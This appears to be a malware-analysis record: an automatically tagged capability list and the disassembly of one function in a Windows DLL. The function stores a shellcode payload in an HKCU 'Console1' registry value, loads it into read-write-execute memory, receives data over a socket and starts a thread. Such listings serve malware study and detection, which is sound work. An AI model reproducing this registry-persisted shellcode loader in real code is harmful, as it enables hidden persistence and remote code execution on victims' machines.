Function at 0x180006860
Capabilities:
Allocate or change rwx memory
Create thread
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x990]
sub rsp, 0xa90
cmp byte [rdx], 0xc9
mov rsi, rdx
mov rdi, rcx
je 0x180006c6c
mov qword [rsp + 0xab0], rbx
cmp r8d, 0x65
jne 0x180006b26
lea rax, [rsp + 0x30]
lea rdx, str.Console1
xor ebx, ebx
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x9c8], 3
mov dword [rbp + 0x9b8], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800069ca
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x9b8]
lea r9, [rbp + 0x9c8]
mov qword [rsp + 0x28], rax
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r11d, dword [rbp + 0x9b8]
cmp r11d, 0xa44
jbe 0x1800069bf
mov ecx, r11d
mov qword [rsp + 0xac0], r12
call fcn.1800089cc
mov r8d, dword [rbp + 0x9b8]
xor edx, edx
mov rcx, rax
mov r12, rax
call fcn.18000b8a0
mov rcx, qword [rsp + 0x30]
lea r11, [rbp + 0x9b8]
mov qword [rsp + 0x28], r11
lea r9, [rbp + 0x9c8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800069b7
lea rcx, [0x1800216f0]
mov rdx, r12
mov r8d, 0xa44
call fcn.180008a20
movsxd rdx, dword [0x1800218f8]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x1800218f8]
lea rdx, [r12 + 0xa44]
mov rcx, rax
mov qword [0x180022138], rax
call fcn.180008a20
mov r12, qword [rsp + 0xac0]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsi + 1]
lea r8, [0x1800218fc]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1800069f4
add rax, 2
test ecx, ecx
jne 0x1800069e0
test edx, edx
je 0x180006c30
mov rcx, qword [0x180022138]
test rcx, rcx
je 0x180006a1d
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x180022138], rbx
mov eax, 0x767b
lea rcx, [rsp + 0x5e]
xor edx, edx
mov word [rsp + 0x44], ax
mov eax, 0x5f55
mov r8d, 0x1e4
mov word [rsp + 0x46], ax
mov eax, 0x6a21
mov dword [rsp + 0x40], ebx
mov word [rsp + 0x48], ax
mov eax, 0x5757
mov esi, 0x64
mov word [rsp + 0x4a], ax
mov eax, 0x5f
mov dword [rsp + 0x4c], 0x64002e
mov word [rsp + 0x54], ax
mov eax, 0x62
mov dword [rsp + 0x50], 0x6c006c
mov word [rsp + 0x56], ax
mov eax, 0x69
mov dword [rsp + 0x5a], WSASetLastError
mov word [rsp + 0x58], ax
call fcn.18000b8a0
xor r11d, r11d
lea rcx, [rbp + 0x14c]
mov r8d, esi
xor edx, edx
mov word [rbp + 0x142], r11w
mov qword [rbp + 0x144], 1
call fcn.18000b8a0
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x7d0
call fcn.18000b8a0
xor r11d, r11d
mov ecx, 0xa45
mov dword [rbp + 0x980], r11d
call fcn.1800089cc
lea rdx, [rsp + 0x40]
lea rcx, [rax + 1]
mov r8d, 0xa44
mov rbx, rax
mov byte [rax], 5
call fcn.180008a20
cmp dword [rdi + 0x10], 0
jne 0x180006b19
mov rcx, qword [rdi + 8]
mov r8d, 0xa45
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.1800089d4
jmp 0x180006c64
lea rcx, [0x1800216f0]
inc rdx
mov r8d, 0xa44
call fcn.180008a20
movsxd rdx, dword [0x1800218f8]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x1800218f8]
lea rdx, [rsi + 0xa45]
mov rcx, rax
mov qword [0x180022138], rax
call fcn.180008a20
mov esi, dword [0x1800218f8]
add esi, 0xa44
movsxd rcx, esi
call fcn.1800089cc
mov rbx, rax
test rax, rax
je 0x180006c2e
lea rdx, [0x1800216f0]
mov rcx, rax
mov r8d, 0xa44
call fcn.180008a20
movsxd r8, dword [0x1800218f8]
mov rdx, qword [0x180022138]
lea rcx, [rbx + 0xa44]
call fcn.180008a20
lea r8, [rbp + 0x9b8]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x180006c19
mov rcx, qword [rbp + 0x9b8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x9b8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbx
call fcn.1800094f0
xor ebx, ebx
lea r8, [0x180006690]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call fcn.1800093fc
mov ecx, 0xbb8
mov qword [rdi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rsp + 0xab0]
add rsp, 0xa90
pop rdi
pop rsi
pop rbp
ret